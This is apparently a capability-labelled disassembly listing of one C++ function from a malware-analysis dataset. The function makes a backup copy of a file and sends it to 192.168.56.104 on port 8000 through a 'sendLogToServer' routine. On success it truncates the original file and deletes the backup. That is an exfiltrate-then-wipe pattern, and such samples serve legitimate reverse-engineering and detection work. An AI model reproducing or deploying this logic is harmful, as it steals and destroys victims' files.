Function at 0x140001b7d
Capabilities:
Delete file

Disassembly:
push rbp
push rbx
sub rsp, 0x5f8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x590], rcx
lea rax, [rbp + 0x520]
mov rdx, qword [rbp + 0x590]
lea r8, str._backup
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
mov rdx, qword [rbp + 0x590]
lea rax, [rbp + 0x340]
mov r8d, 4
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.basic_ifstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x170]
mov r8d, 4
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp + 0x340]
add rax, 0xd0
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
je 0x140001c23
lea rax, [rbp + 0x170]
add rax, 0xc8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
je 0x140001c23
mov eax, 1
jmp 0x140001c28
mov eax, 0
test al, al
je 0x140001c8c
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.rdbuf___const
mov rdx, rax
lea rax, [rbp + 0x170]
mov rcx, rax
call method.std::ostream.operator___std::basic_streambuf_char__std::char_traits_char____
lea rax, str.Backup_created:
mov rdx, rax
mov rax, qword [0x14007d220]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x520]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x140001cc1
lea rax, str.Failed_to_create_backup_file.
mov rdx, rax
mov rax, qword [0x14007d200]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 0
jmp 0x140001da9
lea rax, [rbp + 0x340]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x170]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x567]
mov qword [rbp + 0x568], rax
nop
nop
lea rdx, [rbp + 0x567]
lea rax, [rbp + 0x540]
mov r8, rdx
lea rdx, str._outlog.txt
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x540]
lea rax, [rbp + 0x520]
mov r9, rdx
mov r8, rax
mov edx, 0x1f40
lea rax, str.192.168.56.104
mov rcx, rax
call sym.sendLogToServer_char_const__int__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov ebx, eax
lea rax, [rbp + 0x540]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x567]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
test bl, bl
je 0x140001da4
mov rdx, qword [rbp + 0x590]
lea rax, [rbp - 0x60]
mov r8d, 0x20
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, [rbp + 0x520]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14005dad0
mov ebx, 1
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.14005dad0
cmp ebx, 1
jne 0x140001dc4
mov ebx, 1
jmp 0x140001dc9
mov ebx, 0
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.14005c6c0
cmp ebx, 1
jne 0x140001de4
mov ebx, 1
jmp 0x140001de9
mov ebx, 0
lea rax, [rbp + 0x520]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jmp 0x140001e80
add rsp, 0x5f8
pop rbx
pop rbp
ret